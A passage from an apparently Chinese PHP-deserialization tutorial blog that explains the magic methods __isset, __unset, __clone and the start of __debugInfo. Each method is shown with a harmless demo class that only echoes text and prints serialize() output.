style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/get.png\" class=\"\" title=\"get\"></p>\n<p><span class=\"katex\"><span class=\"katex-mathml\"><math xmlns=\"http://www.w3.org/1998/Math/MathML\"><semantics><mrow><mi>n</mi><mi>a</mi><mi>m</mi><mi>e</mi><mtext>存储不可访问或不存在的属性名：即把</mtext><mi>i</mi><mi>l</mi><mi>y</mi><mi>y</mi><mn>4</mn><mtext>替换为</mtext><mi>A</mi><mi>r</mi><mi>a</mi><mi>c</mi><mi>h</mi><mtext>一样可以触发，同样的</mtext></mrow><annotation encoding=\"application/x-tex\">name存储不可访问或不存在的属性名：即把ilyy4替换为Arach一样可以触发，同样的</annotation></semantics></math></span><span class=\"katex-html\" aria-hidden=\"true\"><span class=\"base\"><span class=\"strut\" style=\"height:0.8889em;vertical-align:-0.1944em;\"></span><span class=\"mord mathnormal\">nam</span><span class=\"mord mathnormal\">e</span><span class=\"mord cjk_fallback\">存储不可访问或不存在的属性名：即把</span><span class=\"mord mathnormal\">i</span><span class=\"mord mathnormal\" style=\"margin-right:0.01968em;\">l</span><span class=\"mord mathnormal\" style=\"margin-right:0.03588em;\">yy</span><span class=\"mord\">4</span><span class=\"mord cjk_fallback\">替换为</span><span class=\"mord mathnormal\">A</span><span class=\"mord mathnormal\" style=\"margin-right:0.02778em;\">r</span><span class=\"mord mathnormal\">a</span><span class=\"mord mathnormal\">c</span><span class=\"mord mathnormal\">h</span><span class=\"mord cjk_fallback\">一样可以触发，同样的</span></span></span></span>name必须存在</p>\n<h3 id=\"__isset\"><a class=\"anchor\" href=\"#__isset\">#</a> __isset()：</h3>\n<p>当对一个对象的不存在或不可访问的属性使用 isset() 或 empty() 函数时自动调用，传递属性名作为参数。</p>\n<p>或者说检测对象的某个属性是否存在时执行此函数</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">Class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">  =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">L47yY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> true</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __isset</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">name</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Are you sure there is </span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">name</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">isset</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">illy4</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> serialize</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/isset.png\" class=\"\" title=\"isset\"></p>\n<p>与__get()一样，$name也是必不可少，把illy4替换为Arach、Chesmond或者把isset替换为empty都会触发</p>\n<h3 id=\"__unset\"><a class=\"anchor\" href=\"#__unset\">#</a> __unset()：</h3>\n<p>当对一个对象的不存在或不可访问的属性使用 unset() 函数时自动调用，传递属性名作为参数。</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">//unset一个不可访问的属性或者不存在的属性</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">Class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">  =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">L47yY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> true</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __unset</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">name</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Unset </span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">name</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">unset</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">unset</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">illy4</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> serialize</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/unset.png\" class=\"\" title=\"unset\"></p>\n<p>但是由于Chesmond的protected属性，最终无法真正被销毁，但是public就不一样了：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>O:6:\"ZLARYY\":2:&#123;s:11:\"*Chesmond\";s:5:\"L47yY\";s:13:\"ZLARYYArach\";b:1;&#125;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/unset2.png\" class=\"\" title=\"unset2\"></p>\n<p>可以看到也只触发了一次__unset()</p>\n<h3 id=\"__clone\"><a class=\"anchor\" href=\"#__clone\">#</a> __clone()：</h3>\n<p>当使用 clone 关键字复制一个对象时自动调用。</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">Class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">  =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">L47yY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> true</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __clone</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">illy4</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> clone</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> serialize</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">serialize</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">illy4</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/clone.png\" class=\"\" title=\"clone\"></p>\n<p>能触发并且成功clone</p>\n<h3 id=\"__debuginfo\"><a class=\"anchor\" href=\"#__debuginfo\">#</a> __debugInfo()：</h3>\n<p>在使用 var_dump() 打印对象时自动调用，用于自定义对象的调试信息。</p>\n<p><strong>注：这个魔术方法在5.6.0被引进</strong></p>\n<pre 